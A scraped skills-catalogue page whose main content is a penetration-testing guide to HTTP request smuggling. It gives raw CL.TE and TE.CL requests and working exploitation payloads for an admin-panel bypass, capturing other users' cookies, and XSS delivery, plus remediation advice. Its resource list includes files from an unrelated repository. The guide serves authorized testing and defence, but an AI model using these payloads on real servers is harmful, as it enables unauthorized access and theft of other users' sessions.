[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AENQYNAY44F35C1NE7AGDY":3,"skill-same:01M6AENQYNAY44F35C1NE7AGDY":126},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AENQYNAY44F35C1NE7AGDY","exploiting-http-request-smuggling","HTTP 请求走私漏洞测试","Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.","检测并利用由前端与后端服务器之间 Content-Length\u002FTransfer-Encoding 解析差异引起的 HTTP 请求走私，使用 Burp Suite Repeater（禁用自动 Content-Length）、HTTP Request Smuggler 扩展和 smuggler.py。在授权测试反向代理、负载均衡器或 CDN 后的多层架构时使用，以发现失步（desync）缺陷并绕过前端控制。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"exploiting http request smuggling","http","transfer","burpsuite","web-security","http-desync","request-smuggling","t1059","web-application-security","owasp","penetration-testing","testing","encoding","cdn","proxy","content","pr","web","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-http-request-smuggling\ndescription: >-\n  Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding\n  parsing discrepancies between front-end and back-end servers, using Burp Suite\n  Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and\n  smuggler.py. Use during authorized tests of multi-tier architectures behind a\n  reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end\n  controls.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- request-smuggling\n- http-desync\n- web-security\n- burpsuite\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n","# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n",{"name":5,"tags":56,"author":57,"domain":49,"license":16,"version":58,"nist_csf":59,"subdomain":39,"description":7,"mitre_attack":64},[41,37,36,35,34,40],"mahipal","1.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68],"T1190","T1059.007","T1505.003","T1083","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-http-request-smuggling",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-http-request-smuggling",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-http-request-smuggling",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-http-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",true,[93,98,104,108,112,116,120],{"path":94,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FLICENSE",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"reference\u002Fa11y.md","REFERENCE","参考文档",1096,"https:\u002F\u002Fgithub.com\u002Fmatheusnorjosa\u002Faprender_sistema\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ffrontend-ui-engineering\u002Freference\u002Fa11y.md",{"path":105,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":106,"sourceHtmlUrl":107},"reference\u002Fdomain-patterns.md",2552,"https:\u002F\u002Fgithub.com\u002Fmatheusnorjosa\u002Faprender_sistema\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ffrontend-ui-engineering\u002Freference\u002Fdomain-patterns.md",{"path":109,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":110,"sourceHtmlUrl":111},"reference\u002Fforms.md",2038,"https:\u002F\u002Fgithub.com\u002Fmatheusnorjosa\u002Faprender_sistema\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ffrontend-ui-engineering\u002Freference\u002Fforms.md",{"path":113,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":114,"sourceHtmlUrl":115},"reference\u002Ftables.md",1374,"https:\u002F\u002Fgithub.com\u002Fmatheusnorjosa\u002Faprender_sistema\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ffrontend-ui-engineering\u002Freference\u002Ftables.md",{"path":117,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":118,"sourceHtmlUrl":119},"references\u002Fapi-reference.md",1969,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002Freferences\u002Fapi-reference.md",{"path":121,"resourceType":122,"resourceTypeDesc":123,"sizeBytes":124,"sourceHtmlUrl":125},"scripts\u002Fagent.py","SCRIPT","脚本",6479,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002Fscripts\u002Fagent.py",[127,157,186,217,248,280],{"skillNo":128,"name":129,"nameZh":130,"description":131,"descriptionZh":132,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":133,"categories":134,"keywords":139,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 